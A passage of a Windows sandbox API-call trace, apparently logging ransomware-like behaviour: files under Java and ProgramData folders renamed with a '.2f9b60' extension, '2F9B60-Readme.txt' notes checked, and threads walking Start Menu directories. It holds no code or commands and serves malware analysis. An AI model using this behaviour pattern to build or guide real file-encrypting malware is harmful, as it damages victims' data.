Flags=0x8, Size=0x82) returned 0x42c22900 [0164.271] RtlFreeAnsiString (AnsiString="8") [0164.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053850) returned 1 [0164.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053820) returned 1 [0164.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ee0) returned 1 [0164.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ec30) returned 1 [0164.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263110) returned 1 [0164.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebf0) returned 1 [0164.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261460) returned 1 [0164.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2180) returned 1 [0164.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c50) returned 1 [0164.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c80) returned 1 [0164.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c30090 [0164.285] wcscat (in: _Dest=0x42c30090, _Source="89a30b9a0c7db890" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\89a30b9a0c7db890") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\89a30b9a0c7db890" [0164.285] wcscat (in: _Dest=0x42c30090, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\89a30b9a0c7db890.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\89a30b9a0c7db890.2f9b60" [0164.285] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\89a30b9a0c7db890.2f9b60", NtPathName=0x3669f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\89a30b9a0c7db890.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x42c2bc50 [0164.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2bc50) returned 1 [0164.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ba30) returned 1 [0164.357] NtQueryInformationFile (in: FileHandle=0x638, IoStatusBlock=0x3669f818, FileInformation=0x3669f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3669f818, FileInformation=0x3669f828) returned 0x0 [0164.357] NtSetInformationFile (FileHandle=0x638, IoStatusBlock=0x3669f818, FileInformation=0x3669f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30090) returned 1 [0164.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22900) returned 1 [0164.364] FlushFileBuffers (hFile=0x638) returned 1 [0166.261] CloseHandle (hObject=0x638) returned 1 [0183.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c22fc0 [0183.962] wcscpy (in: _Dest=0x42c22fc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0183.962] wcscat (in: _Dest=0x42c22fc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" [0183.962] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\2f9b60-readme.txt")) returned 0x20 [0222.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22fc0) returned 1 [0222.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86baf0) returned 1 Thread: id = 2621 os_tid = 0x213c [0156.669] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60" (normalized: "c:\\users\\all users\\sun\\java\\java update\\5da51f59f5eb95.2f9b60")) returned 0x2020 [0156.669] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60", dwFileAttributes=0x20) [0204.020] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60" (normalized: "c:\\users\\all users\\sun\\java\\java update\\5da51f59f5eb95.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x23f4 [0204.020] GetFileSizeEx (in: hFile=0x23f4, lpFileSize=0x33d5fda0 | out: lpFileSize=0x33d5fda0*=389) returned 1 [0204.020] SetFilePointerEx (in: hFile=0x23f4, liDistanceToMove=0x181, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.020] ReadFile (in: hFile=0x23f4, lpBuffer=0x33d5fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33d5fd68, lpOverlapped=0x0 | out: lpBuffer=0x33d5fd20*, lpNumberOfBytesRead=0x33d5fd68*=0x4, lpOverlapped=0x0) returned 1 [0204.021] FlushFileBuffers (hFile=0x23f4) returned 1 [0205.516] CloseHandle (hObject=0x23f4) returned 1 [0205.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60", dwFileAttributes=0x2020) returned 1 [0218.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a2c0) returned 1 Thread: id = 2622 os_tid = 0x2164 [0156.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508b30 [0156.674] wcscpy (in: _Dest=0x20508b30, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0156.674] wcscat (in: _Dest=0x20508b30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0156.674] wcscat (in: _Dest=0x20508b30, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*" [0156.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98340 [0156.674] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0156.674] wcscmp (_String1=".", _String2=".") returned 0 [0156.674] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.674] wcscmp (_String1="..", _String2=".") returned 1 [0156.675] wcscmp (_String1="..", _String2="..") returned 0 [0156.675] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Access 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0156.675] wcscmp (_String1="Microsoft Access 2010.lnk", _String2=".") returned 1 [0156.675] wcscmp (_String1="Microsoft Access 2010.lnk", _String2="..") returned 1 [0156.675] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Excel 2010.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0156.675] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2=".") returned 1 [0156.675] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2="..") returned 1 [0156.675] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Designer 2010.lnk", cAlternateFileName="MIA4FF~1.LNK")) returned 1 [0156.675] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2=".") returned 1 [0156.675] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2="..") returned 1 [0156.675] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Filler 2010.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0156.675] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2=".") returned 1 [0156.675] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2="..") returned 1 [0156.675] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="MICROS~1")) returned 1 [0156.675] wcscmp (_String1="Microsoft Office 2010 Tools", _String2=".") returned 1 [0156.675] wcscmp (_String1="Microsoft Office 2010 Tools", _String2="..") returned 1 [0156.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e320 [0156.675] wcscpy (in: _Dest=0x4205e320, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0156.675] wcscat (in: _Dest=0x4205e320, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0156.675] wcscat (in: _Dest=0x4205e320, _Source="Microsoft Office 2010 Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" [0158.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205e320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b0 [0158.703] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneNote 2010.lnk", cAlternateFileName="MI807F~1.LNK")) returned 1 [0158.703] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2=".") returned 1 [0158.703] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2="..") returned 1 [0158.703] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook 2010.lnk", cAlternateFileName="MI4465~1.LNK")) returned 1 [0158.703] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2=".") returned 1 [0158.703] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2="..") returned 1 [0158.703] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft PowerPoint 2010.lnk", cAlternateFileName="MIAF79~1.LNK")) returned 1 [0158.703] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2=".") returned 1 [0158.704] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2="..") returned 1 [0158.704] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project 2010.lnk", cAlternateFileName="MI6860~1.LNK")) returned 1 [0158.704] wcscmp (_String1="Microsoft Project 2010.lnk", _String2=".") returned 1 [0158.704] wcscmp (_String1="Microsoft Project 2010.lnk", _String2="..") returned 1 [0158.704] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Publisher 2010.lnk", cAlternateFileName="MI260D~1.LNK")) returned 1 [0158.704] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2=".") returned 1 [0158.704] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2="..") returned 1 [0158.704] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0158.704] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0158.704] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0158.704] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visio 2010.lnk", cAlternateFileName="MI7E65~1.LNK")) returned 1 [0158.704] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2=".") returned 1 [0158.704] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2="..") returned 1 [0158.704] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 1 [0158.704] wcscmp (_String1="Microsoft Word 2010.lnk", _String2=".") returned 1 [0158.704] wcscmp (_String1="Microsoft Word 2010.lnk", _String2="..") returned 1 [0158.704] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 0 [0158.704] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0158.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98340) returned 1 [0158.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508b30) returned 1 [0158.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b00b0) returned 1 Thread: id = 2623 os_tid = 0x2168 [0156.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3100 [0156.677] wcscpy (in: _Dest=0x1ced3100, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0156.677] wcscat (in: _Dest=0x1ced3100, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\" [0156.677] wcscat (in: _Dest=0x1ced3100, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*" [0156.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0156.677] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0156.678] wcscmp (_String1=".", _String2=".") returned 0 [0156.678] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.678] wcscmp (_String1="..", _String2=".") returned 1 [0156.678] wcscmp (_String1="..", _String2="..") returned 0 [0156.678] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0156.678] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0156.679] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0156.679] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 0 [0156.679] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0156.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0156.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3100) returned 1 [0156.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a7d0) returned 1 Thread: id = 2624 os_tid = 0x216c [0156.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86a7d0 [0156.683] wcscpy (in: _Dest=0x1b86a7d0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0156.683] wcscat (in: _Dest=0x1b86a7d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" [0156.683] wcscat (in: _Dest=0x1b86a7d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" [0156.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0156.683] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0156.683] wcscmp (_String1=".", _String2=".") returned 0 [0156.684] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.684] wcscmp (_String1="..", _String2=".") returned 1 [0156.684] wcscmp (_String1="..", _String2="..") returned 0 [0156.684] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, 